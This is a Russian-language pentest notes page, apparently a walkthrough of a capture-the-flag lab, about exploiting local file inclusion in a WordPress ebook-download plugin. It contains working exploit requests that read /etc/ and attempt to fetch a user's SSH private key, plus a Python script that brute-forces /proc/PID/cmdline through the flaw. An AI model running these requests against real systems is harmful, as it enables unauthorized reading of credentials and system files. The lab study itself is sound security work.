> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md).

# LFI через proc logs

## Эксплуатация LFI

**Перечисление конфиденциальных файлов:** Список пользователей системы через /etc/passwd:

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/

```

<figure><img src="/files/10e711b0bc91070f6a7d715b7ff8c6c9f6b6d265" alt=""><figcaption></figcaption></figure>

Попытки получения приватного SSH-ключа пользователя `пользователь`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"

```

Эти попытки, вероятно, не удаются из-за ограниченных прав доступа к этим файлам.

<figure><img src="/files/6b8054c129e225672890d38eb5b4f9e423d4638d" alt=""><figcaption></figcaption></figure>

### **LFI - Proc**

**Исследование proc** Создание Python-скрипта для извлечения информации о процессах путем исследования `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
    print("/n/n[+]] Exiting.../n")
    sys.exit(1)
# Журналы LFI Proc
signal.signal(signal.SIGINT, def_handler)
# Журналы LFI Proc
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("Атака грубой силы")
    p1.status("Начало атаки грубой силы")
    sleep(2)
    for i in range(1, 1000):
        p1.status("Пробую с PATH /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)
        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("PATH: /proc/%s/cmdline" % str(i))
            log.info("Общая длина: %s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
    makeRequest()

```

Анализируя процессы, порт 1337 определяется как сервер **gdbserver**.

<figure><img src="/files/d7221d639ca3fd2e95b69755e50c351d7f4c45ab" alt=""><figcaption></figcaption></figure>


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